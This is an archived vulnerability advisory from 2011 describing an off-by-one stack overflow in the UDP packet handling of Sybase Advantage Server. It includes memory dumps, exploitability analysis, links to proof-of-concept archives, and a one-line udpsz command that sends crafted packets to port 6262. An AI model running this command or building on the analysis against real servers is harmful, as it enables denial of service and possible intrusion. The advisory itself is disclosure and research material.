Sybase Advantage Server 10.0.0.3 – ‘ADS’ Process Off-by-One Buffer Overflow

  • 作者: Luigi Auriemma
    日期: 2011-06-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35886/
  • source: https://www.securityfocus.com/bid/48464/info
    
    Sybase Advantage Server is prone to an off-by-one buffer-overflow vulnerability.
    
    Attackers may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts may result in a denial-of-service condition.
    
    Sybase Advantage Server 10.0.0.3 is vulnerable; other versions may also be affected. 
    
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/35886.zip
    
    
    
    
    
    
    
    #######################################################################
    
     Luigi Auriemma
    
    Application:Sybase Advantage Server
    http://www.sybase.com/products/databasemanagement/advantagedatabaseserver
    Versions: <= 10.0.0.3
    Platforms:Windows, NetWare, Linux
    Bug:off-by-one
    Exploitation: remote, versus server
    Date: 27 Jun 2011 (found 29 Oct 2010)
    Author: Luigi Auriemma
    e-mail: aluigi@autistici.org
    web:aluigi.org
    
    
    #######################################################################
    
    
    1) Introduction
    2) Bug
    3) The Code
    4) Fix
    
    
    #######################################################################
    
    ===============
    1) Introduction
    ===============
    
    
    From vendor's website:
    "Advantage Database Server is a full-featured, easily embedded,
    client-server, relational database management system that provides you
    with Indexed Sequential Access Method (ISAM) table-based and SQL-based
    data access."
    
    
    #######################################################################
    
    ======
    2) Bug
    ======
    
    
    By default the Advantage server (ADS process) listens on the UDP and
    TCP ports 6262 and optionally is possible to specify also a so called
    "internet port" for non-LAN connections.
    
    The problem is enough unusual and affects the code that handles a
    certain type of packets on the UDP port.
    In short the server does the following:
    - it uses memcpy to copy the data from the packet into a stack buffer
    of exactly 0x2b8 bytes (handled as 0x2b9 bytes)
    - later this data is handled as a string but no final NULL byte
    delimiter is inserted
    - there is also an off-by-one bug since one byte overwrites the lower
    8bit value of a saved element (a stack pointer 017bff??)
    - after this buffer are located some pushed elements and obviously the
    return address of the function
    - it calls the OemToChar API that changes some bytes of the buffer
    (like those major than 0x7f) till it reaches a 0x00 that "luckily" is
    after the return address
    - so also the return address gets modified, exactly from 0084cb18 to
    00e42d18 that ironically is a valid stack frame somewhat related to
    the starting of the service
    - the data inside this stack address doesn't seems changeable from
    outside and has tons of 0x00 bytes that in this case act like NOPs
    till the zone around 00ebf05b where are located some pushed elements
    - the EBX register contains two bytes of the attacker's data and EBP
    points to such data
    
    the following is a resume of these operations:
    
     017BF66B61 61 61 61 61 61 61 61 61 61 61 61 61 61 FF 7Baaaaaaaaaaaaaa�{
     017BF67B01 99 26 C1 71 BC F6 7B 01 18 CB 84 00 00 00 00.�&�q��{..˄....
    |---------|
    original return address
    
     0084B81D|. FF15 DC929000 CALL DWORD PTR DS:[<&USER32.OemToCharA>]
    
     017BF66B61 61 61 61 61 61 61 61 61 61 61 61 61 61 A0 7Baaaaaaaaaaaaaa�{
     017BF67B01 D6 26 2D 71 2B F7 7B 01 18 2D E4 00 00 00 00.�&-q+�{..-�....
    |---------|
    new return address
    
     00E42D1800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00................
     00E42D2800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00................
     ...
     00EBF04B00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00................
     00EBF05B00 99 78 82 7C 4A EC 82 7C 20 00 00 00 A0 F0 EB.�x�|J��| ...���
     00EBF06B00 A0 F0 EB 00 00 00 00 00 68 F1 EB 00 01 00 00.���.....h��....
     00EBF07B00 5C F1 EB 00 D1 0F E7 77 A0 F0 EB 00 00 00 00.\��.�.�w���....
     00EBF08B00 51 02 02 00 EC 0F E7 77 00 D0 FD 7F 00 00 00.Q...�.�w.��...
     00EBF09B00 01 00 00 00 18 00 34 00 02 00 00 00 7C 0A 00.......4.....|..
     00EBF0AB00 14 0D 00 00 1C 75 17 00 00 00 00 00 00 00 00......u.........
     00EBF0BB00 51 02 02 00 08 00 00 C0 00 00 00 00 00 00 00.Q......�.......
    
     the code flow usually arrives till 00ebf0ab or other addresses close
     to it depending by the data saved there when the service started.
    
    Now for exploiting this vulnerability would be required the presence of
    a "jmp ebp" or "call ebp" or a sequence of instructions with a similar
    result in the 00ebf05b zone which looks like an enough rare event.
    
    I have not tested the Linux and NetWare platforms so I don't know if
    the problem exists also there and if there are more chances of
    exploiting it.
    
    
    #######################################################################
    
    ===========
    3) The Code
    ===========
    
    
    http://aluigi.org/testz/udpsz.zip
    http://aluigi.org/poc/ads_crc.zip
    
    udpsz -C 0012 -L ads_crc.dll -b 0x61 SERVER 6262 0x592
    
    
    #######################################################################
    
    ======
    4) Fix
    ======
    
    
    No fix.
    
    UPDATE:
    vendor has fixed the bug in version 10.10.0.16 released in July 2011:
    http://devzone.advantagedatabase.com/dz/content.aspx?key=44&id=ef0915fb-44c2-fe4b-ac26-9ed3359cffff
    
    
    #######################################################################